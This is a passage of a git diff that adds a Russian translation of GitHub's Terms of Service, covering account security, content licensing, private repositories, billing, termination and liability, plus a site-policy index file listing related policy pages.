минимальный возраст в вашей стране может быть выше; в таком случае вы несете ответственность за соблюдение законов своей страны. +- Ваш логин может использоваться только одним человеком, т. е. один логин не может использоваться несколькими людьми. Платная Организация может предоставлять доступ только к такому количеству Личных учетных записей, которое позволяет ваша подписка. +- Вы не можете использовать GitHub в нарушение законов об экспортном контроле или санкциях США или любой другой применимой юрисдикции. Вы не можете использовать GitHub, если вы являетесь [Гражданином особой категории (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) или лицом, на которое распространяются аналогичные запреты на блокировку или отказ в доступе, введенные правительственным агентством США, или работаете от их имени. GitHub может разрешать лицам в определенных странах или территориях, на которые распространяются санкции, доступ к определенным службам GitHub в соответствии с разрешениями правительства США. Для получения дополнительной информации, пожалуйста, смотрите нашу [Политику экспортного контроля](/articles/github-and-export-controls). + +### 4. Безопасность учетной записи +Вы несете ответственность за обеспечение безопасности своей Учетной записи во время использования нашего Сервиса. Мы предлагаем такие инструменты, как двухфакторная аутентификация, чтобы помочь вам обеспечить безопасность вашей Учетной записи, но содержание вашей Учетной записи и ее безопасность зависят от вас. +- Вы несете ответственность за весь публикуемый контент и действия, которые происходят под вашей Учетной записью (даже если контент публикуется другими лицами, имеющими Учетные записи под вашей Учетной записью). +- Вы несете ответственность за обеспечение безопасности своей учетной записи и пароля. GitHub не может и не будет нести ответственность за какие-либо убытки или ущерб в результате несоблюдения вами этого обязательства безопасности. +- Вы быстро [уведомите GitHub](https://support.github.com/contact?tags=docs-policy), если вам станет известно о любом несанкционированном использовании или доступе к нашему Сервису через вашу Учетную запись, включая любое несанкционированное использование вашего пароля или Учетной записи. + +### 5. Дополнительные условия +В некоторых случаях к использованию вами GitHub могут применяться условия третьих лиц. Например, вы можете быть членом организации на GitHub со своими условиями или лицензионными соглашениями; вы можете загрузить приложение, которое интегрируется с GitHub; или вы можете использовать GitHub для аутентификации в другом сервисе. Имейте в виду, что, хотя настоящие Условия являются нашим полным соглашением с вами, условия других сторон регулируют их отношения с вами. + +Если вы являетесь государственным Пользователем или если вы иным образом получаете доступ к Сервису GitHub или используете его в государственном качестве, к вам применяется данная [Поправка к Условиям обслуживания GitHub для государственных органов](/articles/amendment-to-github-terms-of-service-applicable-to-u-s-federal-government-users/), и вы соглашаетесь с ее положениями. + +Если вы подписались на GitHub Enterprise Cloud, [Дополнение к корпоративному облаку](/articles/github-enterprise-cloud-addendum/) относится к вам, и вы соглашаетесь с его положениями. + +## C. Допустимое использование. +**Краткое содержание:** *На GitHub размещаются самые разные совместные проекты со всего мира, и это сотрудничество работает только тогда, когда наши пользователи способны добросовестно работать вместе. При использовании сервиса вы должны соблюдать условия этого раздела, которые включают некоторые ограничения на контент, который вы можете публиковать, действия в сервисе и другие ограничения. Одним словом, будьте безупречны по отношению друг к другу.* + +Использование вами Веб-сайта и Сервиса не должно нарушать какое-либо применимое право, включая законы об авторском праве или товарных знаках, законы об экспортном контроле или санкциях или другие законы в вашей юрисдикции. Вы несете ответственность за обеспечение использования Сервиса в соответствии со применимым правом и положениями. + +Вы соглашаетесь с тем, что ни при каких обстоятельствах не будете нарушать наши [Политики допустимого использования](/articles/github-acceptable-use-policies) или [Принципы сообщества](/articles/github-community-guidelines). + +## D. Пользовательский контент +**Укороченная версия:** *Вы владеете контентом, который вы создаете, но вы предоставляете нам определенные права на него, чтобы мы могли отображать и делиться контентом, который вы публикуете. Вы по-прежнему контролируете свой контент и несете ответственность за него, а права, которые вы нам предоставляете, ограничены теми, которые нам необходимы для предоставления услуги. Мы имеем право удалять контент или закрывать Учетные записи, если нам это необходимо.* + +### 1. Ответственность за пользовательский контент +Вы можете создавать или загружать Пользовательский контент во время использования Сервиса. Вы несете единоличную ответственность за содержание и за любой ущерб, причиненный любым Пользовательским контентом, который вы публикуете или загружаете, на который вы даете ссылку или который вы иным образом делаете доступным через Сервис, независимо от формы этого Контента. Мы не несем ответственности за публичный показ или неправомерное использование вашего Пользовательского контента. + +### 2. GitHub может удалить контент +Мы имеем право отвергнуть или удалить любой Пользовательский контент, который по нашему собственному усмотрению нарушает какие-либо законы или [условия или политики GitHub](/github/site-policy). На Пользовательский контент, отображаемый на GitHub Mobile, могут распространяться дополнительные условия магазинов мобильных приложений. + +### 3. Право собственности на контент, право на публикацию и предоставление лицензий +Вы сохраняете право собственности на свой Контент и ответственность за него. Если вы публикуете что-то, что вы не создали сами или на что вы не владеете правами, вы соглашаетесь с тем, что несете ответственность за любой Контент, который вы публикуете; что вы будете отправлять только тот Контент, который имеете право публиковать; и что вы будете полностью соблюдать любые лицензии третьих лиц, касающиеся публикуемого вами Контента. + +Поскольку вы сохраняете право собственности на свой контент и ответственность за него, нам нужно, чтобы вы предоставили нам — и другим пользователям GitHub — определенные юридические разрешения, перечисленные в разделах D.4–D.7. Эти лицензионные разрешения применяются к вашему Контенту. Если вы загружаете Контент, который уже поставляется с лицензией, предоставляющей GitHub разрешения, необходимые нам для работы нашего Сервиса, дополнительная лицензия не требуется. Вы понимаете, что не получите никакой оплаты за какие-либо права, предоставленные в Разделах D.4–D.7. Лицензии, которые вы нам предоставляете, прекращают свое действие, когда вы удаляете свой Контент с наших серверов, если другие Пользователи не разветвили его. + +### 4. Предоставление лицензии нам +Нам нужно законное право, чтобы выполнять такие действие, как размещение вашего Контента, его публикация и совместное использование. Вы предоставляете нам и нашим правопреемникам право хранить, архивировать, анализировать и отображать ваш контент, а также делать вспомогательные копии только в том случае, если это необходимо для предоставления Сервиса, включая улучшение Сервиса с течением времени. Эта лицензия включает в себя право выполнять такие действия, как копирование в нашу базу данных и создание резервных копий; отображение его вам и другим пользователям; включение его в поисковый индекс или иной анализ на наших серверах; его совместное использование с другими пользователями; и его исполнение, если ваш Контент является, например, музыкой или видео. + +Эта лицензия не дает GitHub права продавать ваш Контент. Это также не дает GitHub права распространять или использовать ваш Контент иным образом помимо предоставления нами Сервиса, за исключением того, что в рамках права на архивирование вашего Контента GitHub может разрешить нашим партнерам хранить и архивировать ваш Контент в общедоступных репозиториях в связи с [GitHub Arctic Code Vault и GitHub Archive Program](https://archiveprogram.github.com/). + +### 5. Предоставление лицензии другим пользователям +Любой Пользовательский контент, размещаемый вами публично, включая вопросы, комментарии и материалы в репозиториях других Пользователей, может просматриваться другими лицами. Настраивая свои репозитории для публичного просмотра, вы разрешаете другим просматривать и «разветвлять» ваши репозитории (это означает, что другие могут создавать свои собственные копии Контента из ваших репозиториев в репозиториях, которые они контролируют). + +Если вы настраиваете свои страницы и репозитории для публичного просмотра, вы предоставляете каждому пользователю GitHub неисключительную международную лицензию на использование, отображение и исполнение своего Контента через Сервис GitHub и воспроизведение своего Контента исключительно на GitHub с использованием функций, предоставляемых GitHub (например, создание вилок). Вы можете предоставить дополнительные права, если вы [принимаете лицензию](/articles/adding-a-license-to-a-repository/#including-an-open-source-license-in-your-repository). Если вы загружаете Контент, который вы не создавали и которым вы не владели, вы несете ответственность за обеспечение того, чтобы загружаемый вами Контент был лицензирован в соответствии с условиями, которые предоставляют эти разрешения другим Пользователям GitHub. + +### 6. Вклады по лицензии репозитория +Всякий раз, когда вы добавляете Контент в репозиторий, содержащий уведомление о лицензии, вы лицензируете этот Контент на тех же условиях и соглашаетесь с тем, что вы имеете право лицензировать этот Контент на этих условиях. Если у вас есть отдельное соглашение о лицензировании этого Контента на других условиях, например, лицензионное соглашение участника, такое соглашение будет иметь преимущественную силу. + +Разве это уже не работает? Ага. Это общепринято как норма в сообществе открытого исходного кода; его обычно называют сокращением «входящий = исходящий». Мы просто делаем это явным. + +### 7. Моральные права +Вы сохраняете за собой все моральные права на свой Контент, который вы загружаете, публикуете или отправляете в любую часть Сервиса, включая права на целостность и установление авторства. Однако вы отказываетесь от этих прав и соглашаетесь не предъявлять их к нам исключительно для того, чтобы позволить нам разумно осуществлять права, предоставленные в Разделе D.4, но не в иных целях. + +В той мере, в какой это соглашение не подлежит исполнению в соответствии с применимым правом, вы предоставляете GitHub права, необходимые нам для использования вашего контента без указания авторства и для разумной адаптации вашего контента, необходимой для предоставления Веб-сайта и Сервиса. + +## Е. Частные репозитории +**Укороченная версия:** *Мы рассматриваем содержимое частных репозиториев как конфиденциальное и получаем к нему доступ только в соответствии с нашим Заявлением о конфиденциальности — в целях безопасности, чтобы помочь владельцу репозитория в вопросе поддержки, для поддержания целостности Сервиса, для соблюдения наших юридических обязательств, если у нас есть основания полагать, что содержание нарушает закон, или с вашего согласия.* + +### 1. Контроль частных репозиториев +Некоторые Учетные записи могут иметь частные репозитории, которые позволяют Пользователю контролировать доступ к Контенту. + +### 2. Конфиденциальность частных репозиториев +GitHub считает содержимое частных репозиториев конфиденциальным для вас. GitHub будет защищать содержимое частных репозиториев от несанкционированного использования, доступа или раскрытия таким же образом, каким мы защищаем нашу собственную конфиденциальную информацию аналогичного характера, и ни в коем случае не менее чем с разумной степенью осторожности. + +### 3. Доступ +Персонал GitHub может получить доступ к содержимому ваших частных репозиториев только в ситуациях, описанных в нашем [Заявлении о конфиденциальности](/github/site-policy/github-privacy-statement#repository-contents). + +Вы можете разрешить дополнительный доступ к своим частным репозиториям. Например: +- Вы можете включить различные службы или функции GitHub, для которых требуются дополнительные права на ваш Контент в частных репозиториях. Эти права могут различаться в зависимости от службы или функции, но GitHub будет по-прежнему рассматривать Контент вашего частного репозитория как конфиденциальный. Если для этих служб или функций требуются права в дополнение к тем, которые нам необходимы для предоставления Сервиса GitHub, мы предоставим объяснение по поводу этих прав. + +Кроме того, мы можем быть [обязаны по закону](/github/site-policy/github-privacy-statement#for-legal-disclosure) раскрывать содержимое ваших личных репозиториев. + +GitHub предоставит уведомление о нашем доступе к содержимому частного репозитория, если только речь не идет [о раскрытии информации по запросу](/github/site-policy/github-privacy-statement#for-legal-disclosure), для выполнения наших юридических обязательств или при наличии иных обязательств в соответствии с требованиями закона, для автоматического сканирования или в ответ на угрозу безопасности или другой риск для безопасности. + +## F. Нарушение авторских прав и политика DMCA +Если вы считаете, что содержимое нашего веб-сайта нарушает ваши авторские права, свяжитесь с нами в соответствии с нашей [Политикой Закона об авторском праве в цифровую эпоху](/articles/dmca-takedown-policy/). Если вы являетесь владельцем авторских прав и считаете, что контент на GitHub нарушает ваши права, свяжитесь с нами через [нашу удобную форму DMCA](https://github.com/contact/dmca) или по электронной почте copyright@github.com. Отправка ложного или необоснованного уведомления об удалении может повлечь юридические последствия. Прежде чем отправить запрос на удаление, вы должны рассмотреть законное использование, такое как добросовестное использование и лицензионное использование. + +Мы аннулируем Учетные записи [повторных нарушителей](/articles/dmca-takedown-policy/#e-repeated-infringement) этой политики. + +## G. Уведомление об интеллектуальной собственности +**Укороченная версия:** *Мы владеем сервисом и всем нашим контентом. Чтобы вы могли использовать наш контент, мы предоставляем вам определенные права на него, но вы можете использовать наш контент только так, как мы разрешили.* + +### 1. Права GitHub на контент +GitHub и наши лицензиары, поставщики, агенты и/или наши поставщики контента сохраняют за собой все права на интеллектуальную собственность любого рода, связанные с Веб-сайтом и Сервисом. Мы оставляем за собой все права, которые прямо не предоставлены вам по настоящему Соглашению или по закону. Внешний вид Веб-сайте и Сервиса защищен авторским правом © GitHub, Inc. Все права защищены. Вы не можете дублировать, копировать или повторно использовать какую-либо часть HTML/CSS, Javascript или элементов или концепций визуального дизайна без письменного разрешения GitHub. + +### 2. Торговые марки и логотипы GitHub +Если вы хотите использовать товарные знаки GitHub, вы должны соблюдать все наши правила использования товарных знаков, в том числе приведенные на нашей странице логотипов: https://github.com/logos. + +### 3. Лицензия на политики GitHub +Настоящее Соглашение распространяется под данной [Нулевой лицензией Creative Commons](https://creativecommons.org/publicdomain/zero/1.0/). Подробности смотрите в нашем [репозитории политики сайта](https://github.com/github/site-policy#license). + +## H. Условия использования API +**Укороченная версия:** *Вы соглашаетесь с настоящими Условиями обслуживания, а также с данным Разделом H при использовании любого из API-интерфейсов GitHub (интерфейс поставщика приложений), включая использование API через сторонний продукт, который получает доступ к GitHub.* + +Злоупотребление или чрезмерно частые запросы к GitHub через API могут привести к временной или постоянной приостановке доступа вашей Учетной записи к API. GitHub по нашему собственному усмотрению будет определять злоупотребление или чрезмерное использование API. Мы приложим разумные усилия, чтобы предупредить вас по электронной почте до приостановки. + +Вы не можете делиться токенами API, чтобы превысить ограничения скорости GitHub. + +Вы не можете использовать API для загрузки данных или Контента с GitHub в целях рассылки спама, в том числе для продажи личной информации пользователей GitHub, например рекрутерам, охотникам за головами и доскам объявлений. + +Любое использование GitHub API регулируется настоящими Условиями обслуживания и [Заявлением о конфиденциальности GitHub](https://github.com/site/privacy). + +GitHub может предлагать доступ к нашему API на основе подписки для тех Пользователей, которым требуется доступ с высокой пропускной способностью или доступ, который приведет к перепродаже Сервиса GitHub. + +## I. Дополнительные условия для продуктов GitHub +**Укороченная версия:** *Вам необходимо соблюдать определенные условия для различных функций и продуктов GitHub, и вы соглашаетесь с Дополнительными положениями и условиями, когда соглашаетесь с настоящим Соглашением.* + +На некоторые функции Сервиса могут распространяться дополнительные условия, относящиеся к этой функции или продукту, как указано в Дополнительных условиях для продуктов GitHub. Получая доступ к Сервису или используя его, вы также соглашаетесь с [Дополнительными условиями для продуктов GitHub](/github/site-policy/github-additional-product-terms). + +## J. Предварительные бета-версии +**Укороченная версия:** *Предварительные бета-версии могут не поддерживаться или изменяться в любое время. Вы можете получать конфиденциальную информацию через эти программы, которые должны оставаться конфиденциальными, пока программа является частной. Мы будем рады вашим отзывам, чтобы сделать наши предварительные бета-версии лучше.* + +### 1. Возможные изменения + +Предварительные бета-версии могут не поддерживаться и могут быть изменены в любое время без предварительного уведомления. Кроме того, Предварительные бета-версии не подлежат тем же мерам безопасности и аудиту, которым подлежала и подлежит Сервис. **Используя предварительную бета-версию, вы используете ее на свой страх и риск.** + +### 2. Конфиденциальность + +Как пользователь Предварительных бета-версий вы можете получить доступ к специальной информации, недоступной для остального мира. Из-за конфиденциального характера этой информации для нас важно убедиться, что вы держите эту информацию в секрете. + +**Обязательства конфиденциальности.** Вы соглашаетесь с тем, что любая непубличная информация о Предварительной бета-версии, которую мы вам предоставляем, например информация о частной предварительной бета-версии, будет считаться конфиденциальной информацией GitHub (совместно именуемой «Конфиденциальная информация») независимо от того, помечена ли она или идентифицирована как таковая. Вы соглашаетесь использовать такую Конфиденциальную информацию только для конкретной цели тестирования и оценки Предварительной бета-версии («Цель»), а не для каких-либо других целей. Вы должны проявлять такую же осторожность, как и в отношении своей собственной конфиденциальной информации, но не менее разумных мер предосторожности для предотвращения любого несанкционированного использования, раскрытия, публикации или распространения нашей Конфиденциальной информации. Вы обязуетесь не раскрывать, не публиковать и не распространять какую-либо Конфиденциальную информацию какому-либо третьему лицу, за исключением случаев, когда мы иным образом не запрещаем или не ограничиваем такое раскрытие (например, вы можете участвовать в групповом обсуждении, организованном GitHub, о закрытой функции предварительной бета-версии). + +**Особые случаи.** Конфиденциальная информация не включает в себя сведения, которые: (a) являются или становятся общедоступными без нарушения настоящего Соглашения без каких-либо действий или бездействия с вашей стороны (например, когда частная предварительная бета-версия становится публичной предварительной бета-версией); (b) известны вам до того, как мы их вам раскроем; (c) разработаны вами самостоятельно без нарушения каких-либо обязательств по конфиденциальности перед нами или каким-либо третьим лицом; или (d) раскрываются с разрешения GitHub. Вы не будете нарушать условия настоящего Соглашения, если от вас требуется раскрыть Конфиденциальную информацию в соответствии с действием закона, при условии, что GitHub получил заблаговременное письменное уведомление о возражении, если это не запрещено законом. + +### 3. Обратная связь + +Мы всегда стараемся улучшить продукты и услуги, и ваши отзывы как пользователя предварительной бета-версии помогут нам в этом. Если вы решите поделиться с нами какими-либо идеями, ноу-хау, алгоритмами, дополнениями к коду, предложениями, запросами на усовершенствование, рекомендациями или любыми другими отзывами о наших продуктах или услугах (совместно именуемые «Обратная связь»), вы признаете и соглашаетесь с тем, что GitHub будет иметь безвозмездную, полностью оплаченную, глобальную, передаваемую, сублицензируемую, безотзывную и бессрочную лицензию на внедрение, использование, изменение, коммерческое использование и/или включение Обратной связи в наши продукты, услуги и документацию. + +## K. Оплата +**Укороченная версия:** *Вы несете ответственность за любые сборы, связанные с использованием GitHub. Мы несем ответственность за четкое и точное информирование вас об этих сборах и заблаговременное уведомление об изменении этих цен.* + +### 1. Цены +Наши цены и условия оплаты доступны по адресу [github.com/pricing](https://github.com/pricing). Если вы согласны с ценой подписки, она останется вашей ценой в течение срока оплаты; однако цены могут быть изменены в конце срока оплаты. + +### 2. Обновления, понижения и изменения +- Мы немедленно выставим вам счет, когда вы перейдете с бесплатного плана на любой платный план. +- Если вы перейдете с ежемесячного плана выставления счетов на годовой план выставления счетов, GitHub выставит вам счет за полный год в следующую дату ежемесячного выставления счетов. +- Если вы перейдете на более высокий уровень обслуживания, мы немедленно выставим вам счет за обновленный план. +- Вы можете изменить уровень обслуживания в любое время, [выбрав вариант плана](https://github.com/pricing) или зайдя в свои [Платежные настройки](https://github.com/settings/billing). Если вы решите понизить уровень своей Учетной записи, вы можете потерять доступ к Контенту, функциям или возможностям своей Учетной записи. Пожалуйста, ознакомьтесь с нашим разделом [Отмена](#l-cancellation-and-termination), чтобы получить информацию о получении копии этого Контента. + +### 3. График выставления счетов; невозможность возврата средств +**Оплата по плану** Для ежемесячных или ежегодных планов оплаты Услуга выставляется заранее ежемесячно или ежегодно соответственно и не подлежит возврату. Не будет возмещений или кредитов за неполные месяцы обслуживания, возмещения за понижение или возмещения за месяцы, не использованные с открытой Учетной записью; однако услуга будет оставаться активной в течение оплаченного расчетного периода. Чтобы относиться ко всем одинаково, никаких исключений делаться не будет. + +**Оплата на основе использования** Плата за некоторые функции Сервиса взимается в зависимости от вашего использования. Ограниченное количество этих функций Сервиса может быть включено в ваш план на ограниченный срок без дополнительной оплаты. Если вы решите приобрести платные функции Сервиса сверх количества, включенного в ваш план, вы платите за эти функции Сервиса на основе фактического использования в предыдущем месяце. Ежемесячный платеж за эти покупки будет взиматься на периодической основе за истекший период. См. [Дополнительные условия для продуктов GitHub для получения подробной информации](/github/site-policy/github-additional-product-terms). + +**Выставление счетов** Что касается пользователей, которым выставляется счет, пользователь соглашается оплатить сборы полностью, заранее, без вычетов или взаимозачетов любого рода в долларах США. Пользователь должен оплатить сборы в течение тридцати (30) дней с даты выставления счета GitHub. Суммы, подлежащие уплате по настоящему Соглашению, не подлежат возврату, если иное не предусмотрено настоящим Соглашением. Если Пользователь не уплачивает какие-либо сборы вовремя, GitHub оставляет за собой право, в дополнение к любым другим действиям по закону или праву справедливости, (i) взимать проценты с сумм просроченных платежей в размере 1,0 % в месяц или по самой высокой процентной ставке, разрешенной законом, в зависимости от того, что меньше, и взимать все расходы по возмещению, и (ii) прекратить действие соответствующей формы заказа. Пользователь несет единоличную ответственность за все налоги, сборы, пошлины и государственные сборы (за исключением налогов, основанных на чистой прибыли GitHub), которые взимаются или подлежат уплате в связи с настоящим Соглашением. + +### 4. Разрешение +Соглашаясь с настоящими Условиями, вы даете нам разрешение взимать с вашей кредитной карты, учетной записи PayPal или использовать другие утвержденные способы оплаты сборов, которые вы разрешаете для GitHub. + +### 5. Ответственность за оплату +Вы несете ответственность за все сборы, включая налоги, связанные с использованием вами Сервиса. Используя Сервис, вы соглашаетесь оплатить GitHub любые расходы, понесенные в связи с использованием вами Сервиса. Если вы оспариваете этот вопрос, свяжитесь с [Поддержкой GitHub](https://support.github.com/contact?tags=docs-policy). Вы несете ответственность за предоставление нам действительных средств оплаты платных Учетных записей. Бесплатные Учетные записи не обязаны предоставлять платежную информацию. + +## L. Отмена и прекращение +**Укороченная версия:** *Вы можете закрыть свою Учетную запись в любое время. Если вы это сделаете, мы будем относиться к вашей информации ответственно.* + +### 1. Аннулирование учетной записи +Вы несете ответственность за надлежащее аннулирование своей Учетной записи на GitHub. Вы можете [отменить свою Учетную запись в любое время](/articles/how-do-i-cancel-my-account/), зайдя в Настройки на панели глобальной навигации в верхней части экрана. Экран «Учетная запись» содержит простую ссылку для отмены без вопросов. Мы не можем аннулировать Учетные записи в ответ на запрос по электронной почте или телефону. + +### 2. При отмене +Мы будем хранить и использовать вашу информацию по мере необходимости для выполнения наших юридических обязательств, разрешения споров и обеспечения соблюдения наших соглашений, но при отсутствии юридических требований мы удалим ваш полный профиль и Контент ваших репозиториев в течение 90 дней после аннулирования или истечения срока действия (хотя некоторая информация может оставаться в зашифрованных резервных копиях). Эта информация не может быть восстановлена после удаления вашей Учетной записи. + +Мы не будем удалять Контент, который вы разместили в репозиториях других Пользователей или который был создан другими Пользователями. + +По запросу мы приложим разумные усилия, чтобы предоставить владельцу Учетной записи копию содержимого вашей Учетной записи, не нарушающего законные права, после аннулирования, закрытия или понижения уровня Учетной записи. Вы должны сделать этот запрос в течение 90 дней с момента отмены, прекращения или перехода на более раннюю версию. + +### 3. GitHub может отменить действие +GitHub имеет право приостановить или прекратить ваш доступ ко всему Веб-сайту или любой его части в любое время, с указанием причины или без нее, с уведомлением или без него, с немедленным вступлением в силу. GitHub оставляет за собой право отказать в обслуживании кому-либо по любой причине в любое время. + +### 4. Сохранение юридической силы +Все положения настоящего Соглашения, которые по своему характеру должны оставаться в силе после прекращения действия *переживут* расторжение, включая, помимо прочего: положения о праве собственности, отказ от гарантий, возмещение убытков и ограничение ответственности. + +## M. Взаимодействие с GitHub +**Краткая версия:** *Мы используем только электронную почту и другие электронные средства, чтобы оставаться на связи с нашими пользователями.* + +### 1. Требуется электронная связь +В договорных целях вы (1) соглашаетесь получать сообщения от нас в электронной форме на указанный вами адрес электронной почты или через Сервис; и (2) соглашаетесь с тем, что все Условия обслуживания, соглашения, уведомления, раскрытия информации и другие сообщения, которые мы предоставляем вам в электронном виде, удовлетворяют любым юридическим требованиям, которым эти сообщения удовлетворяли бы, если бы они были на бумаге. Этот раздел не затрагивает ваших прав, от которых невозможно отказаться. + +### 2. Официальное уведомление GitHub должно быть в письменной форме +Сообщения, сделанные по электронной почте или через систему обмена сообщениями службы поддержки GitHub, не являются юридическим уведомлением GitHub или его должностных лиц, сотрудников, агентов или представителей в любой ситуации, когда уведомление GitHub требуется по контракту или какому-либо закону или постановлению. Официальное уведомление GitHub должно быть в письменной форме и должно быть [вручено юридическим агентом GitHub](/articles/guidelines-for-legal-requests-of-user-data/#submitting-requests). + +### 3. Отсутствие поддержки по телефон +GitHub предлагает поддержку только по электронной почте, внутрисервисной связи и в электронных сообщениях. Мы не предлагаем поддержку по телефону. + +## N. Отказ от гарантий +**Краткая версия:** *Мы предоставляем наши услуги как есть и не даем никаких обещаний или гарантий в отношении этих услуг. Пожалуйста, внимательно прочитайте этот раздел; вы должны понимать, чего ожидать.* + +GitHub предоставляет Веб-сайт и Сервис «как есть» и «по мере доступности» без каких-либо гарантий. Не ограничиваясь этим, мы прямо отказываемся от всех гарантий, явных, подразумеваемых или установленных законом, в отношении Веб-сайта и Сервиса, включая, помимо прочего, любые гарантии товарного состояния, пригодности для определенной цели, права собственности, безопасности, точности и ненарушения прав. + +GitHub не гарантирует, что Сервис будет соответствовать вашим требованиям; что Сервис будет бесперебойным, своевременным, безопасным и безошибочным; что информация, предоставляемая через Сервис, является точной, надежной или правильной; что любые дефекты или ошибки будут исправлены; что Сервис будет доступен в любое конкретное время или в любом месте; или что Сервис не содержит вирусов или других вредоносных компонентов. Вы берет на себя полную ответственность и принимаете на себя риск убытков в результате загрузки и/или использования файлов, информации, контента или других материалов, полученных с помощью Сервиса. + +## O. Ограничение ответственности +**Краткая версия:** *Мы не несем ответственности за ущерб или убытки, возникающие в результате использования или невозможности использования вами сервисе или иным образом возникающие в соответствии с настоящим соглашением. Пожалуйста, внимательно прочитайте этот раздел; это ограничивает наши обязательства перед вами.* + +Вы понимаете и соглашаетесь с тем, что мы не несем ответственности перед вами или каким-либо третьим лицом за упущенную выгоду, использование, репутацию или данные, а также за любой случайный, непрямой, особый, косвенный или штрафной ущерб, независимо от того, какой он возникает в результате + +- использование, раскрытие или отображение вашего Пользовательского контента; +- использование или невозможность использования вами Сервиса; +- любая модификация, изменение цены, приостановка или прекращение предоставления Услуги; +- Сервис в целом или программное обеспечение или системы, которые делают Сервис доступным; +- несанкционированный доступ или изменение ваших передач или данных; +- заявления или поведение любого третьего лица в Сервисе; +- любые другие взаимодействия с пользователем, которые вы вводите или получаете при использовании Сервиса; или +- любой другой вопрос, связанный с Сервисом. + +Наша ответственность ограничена независимо от того, были ли мы проинформированы о возможности таких убытков, и даже если средство правовой защиты, изложенное в настоящем Соглашении, не достигло своей основной цели. Мы не несем ответственности за любой сбой или задержку по причинам, находящимся вне нашего разумного контроля. + +## P. Освобождение от ответственности и возмещение ущерба +**Краткая версия:** *Вы несете полную ответственность за использование сервиса. Если вы причините кому-то вред или вступите в спор с кем-то еще, мы не будем вмешиваться.* + +Если у вас возник спор с одним или несколькими Пользователями, вы освобождаете GitHub от всех претензий, требований и убытков (фактических и косвенных) любого рода и характера, известных и неизвестных, вытекающих из таких споров или каким-либо образом связанных с ними. + +Вы соглашаетесь возместить нам убытки, защитить нас и оградить нас от любых и всех претензий, обязательств и расходов, включая гонорары адвокатов, возникающих в результате использования вами Веб-сайта и Сервиса, включая, помимо прочего, ваше нарушение настоящего Соглашения при условии, что GitHub (1) незамедлительно направит вам письменное уведомление о претензии, требовании, иске или судебном разбирательстве; (2) дает вам единоличный контроль над защитой и урегулированием претензии, требования, иска или судебного разбирательства (при условии, что вы не можете урегулировать любую претензию, требование, иск или судебное разбирательство, если урегулирование безоговорочно освобождает GitHub от любой ответственности); и (3) оказывает вам всю разумную помощь за ваш счет. + +## Вопрос. Изменение этих условий +**Укороченная версия:** *Мы хотим, чтобы наши пользователи были проинформированы о важных изменениях в наших условиях, но некоторые изменения не так важны — мы не хотим беспокоить вас каждый раз, когда исправим опечатку. Таким образом, хотя мы можем изменить это соглашение в любое время, мы уведомим пользователей о любых существенных изменениях и дадим вам время, чтобы приспособиться к ним.* + +Мы оставляем за собой право по собственному усмотрению вносить изменения в настоящие Условия обслуживания в любое время и будем обновлять настоящие Условия обслуживания в случае любых таких изменений. Мы уведомим наших Пользователей о существенных изменениях в настоящем Соглашении, таких как повышение цен, по крайней мере за 30 дней до вступления изменения в силу, разместив уведомление на нашем Веб-сайте или отправив электронное письмо на основной адрес электронной почты, указанный в вашей учетной записи GitHub. Продолжение использования Клиентом Услуги по истечении этих 30 дней означает согласие с этими изменениями настоящего Соглашения. Что касается любых других изменений, дальнейшее использование вами Веб-сайта означает согласие с нашими изменениями настоящих Условий обслуживания. Вы можете просмотреть все изменения настоящих Условий в нашем репозитории [Политика сайта](https://github.com/github/site-policy). + +Мы оставляем за собой право в любое время периодически изменять или прекращать, временно или постоянно, Веб-сайт (или любую его часть) с уведомлением или без него. + +## R. Прочие условия + +### 1. Применимое право +За исключением случаев, когда применимое право предусматривает иное, настоящее Соглашение между вами и GitHub, а также любой доступ или использование Веб-сайта или Сервиса регулируются федеральными законами Соединенных Штатов Америки и законами штата Калифорния без учета коллизионных норм. Вы и GitHub соглашаетесь подчиняться исключительной юрисдикции и месту проведения судов, расположенных в городе и округе Сан-Франциско, штат Калифорния. + +### 2. Непереуступаемость +GitHub может назначать или делегировать настоящие Условия обслуживания и/или [Заявление о конфиденциальности GitHub](https://github.com/site/privacy), полностью или частично, любому физическому или юридическому лицу в любое время с вашего согласия или без него, включая предоставление лицензии в Разделе D.4. Вы не можете назначать или делегировать какие-либо права или обязанности в соответствии с Условиями обслуживания или Заявлением о конфиденциальности без нашего предварительного письменного согласия, и любая несанкционированная уступка и делегирование с вашей стороны является недействительным. + +### 3. Заголовки разделов и резюме +В настоящем Соглашении каждый раздел включает заголовки и краткое изложение следующих положений и условий. Названия этих разделов и краткие описания не имеют обязательной юридической силы. + +### 4. Независимость положений соглашения, оговорка о неотказе и сохранение юридической силы +Если какая-либо часть настоящего Соглашения будет признана недействительной или не имеющей исковой силы, эта часть Соглашения будет толковаться как отражающая первоначальные намерения сторон. Остальные положения сохраняют свою юридическую силу. Любая неспособность со стороны GitHub обеспечить соблюдение какого-либо положения настоящего Соглашения не будет считаться отказом от нашего права на обеспечение соблюдения такого положения. Наши права по настоящему Соглашению остаются в силе после прекращения действия настоящего Соглашения. + +### 5. Поправки; Полное соглашение +Настоящее Соглашение может быть изменено только посредством письменной поправки, подписанной уполномоченным представителем GitHub, или путем публикации GitHub исправленной версии в соответствии с [Раздел Q. Изменения настоящих Условий](#q-changes-to-these-terms). Настоящие Условия обслуживания вместе с Заявлением о конфиденциальности GitHub представляют собой полное и исключительное заявление о соглашении между вами и нами. Настоящее Соглашение заменяет любое предложение или предварительное устное или письменное соглашение, а также любые другие сообщения между вами и GitHub, касающиеся предмета настоящих условий, включая любые соглашения о конфиденциальности или неразглашении. + +### 6. Ответы на вопросы +Есть вопросы об Условиях обслуживания? [Свяжитесь с нами](https://support.github.com/contact?tags=docs-policy). diff --git a/translations/ru-RU/content/site-policy/github-terms/index.md b/translations/ru-RU/content/site-policy/github-terms/index.md new file mode 100644 index 000000000000..08e9b966dd8f --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-terms/index.md @@ -0,0 +1,29 @@ +--- +title: Условия GitHub +versions: + fpt: '*' +topics: + - Policy + - Legal +children: + - /github-terms-of-service + - /github-corporate-terms-of-service + - /github-terms-for-additional-products-and-features + - /github-community-guidelines + - /github-community-code-of-conduct + - /github-sponsors-additional-terms + - /github-registered-developer-agreement + - /github-marketplace-terms-of-service + - /github-marketplace-developer-agreement + - /github-research-program-terms + - /github-open-source-applications-terms-and-conditions + - /github-event-terms + - /github-event-code-of-conduct +ms.openlocfilehash: d6be286387ee1c4df3f0f7683c85fa46eaae2a2e +ms.sourcegitcommit: d298d354a4585e6c154f2a8428aebb214d49e2a1 +ms.translationtype: HT +ms.contentlocale: ru-RU 